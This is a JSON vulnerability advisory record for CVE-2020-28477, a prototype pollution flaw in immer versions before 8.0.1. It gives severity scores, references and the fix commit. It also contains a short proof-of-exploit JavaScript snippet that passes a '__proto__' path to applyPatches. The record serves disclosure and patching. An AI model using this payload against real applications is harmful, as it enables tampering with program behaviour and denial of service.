{"id":"CVE-2020-28477","aliases":["GHSA-9qmh-276g-x5pj"],"url":"https://o3.security/vulnerability/CVE-2020-28477","summary":"Prototype Pollution in immer","details":"## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: 'add', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: 'replace', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.","published":"2021-01-19T11:15:13.167Z","modified":"2026-10-24T10:30:33.650570813Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.02536,"percentile":0.85239,"asOf":"2026-11-24"},"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"npm","name":"immer","fixedVersion":"8.0.1"}],"fix":{"url":"https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5","label":"immerjs/immer@da2bd4f"},"references":[{"type":"WEB","url":"https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JS-IMMER-1019369"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28477"},{"type":"WEB","url":"https://github.com/immerjs/immer/issues/738"},{"type":"WEB","url":"https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5"},{"type":"WEB","url":"https://www.npmjs.com/package/immer"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T10:30:33.650570813Z"}}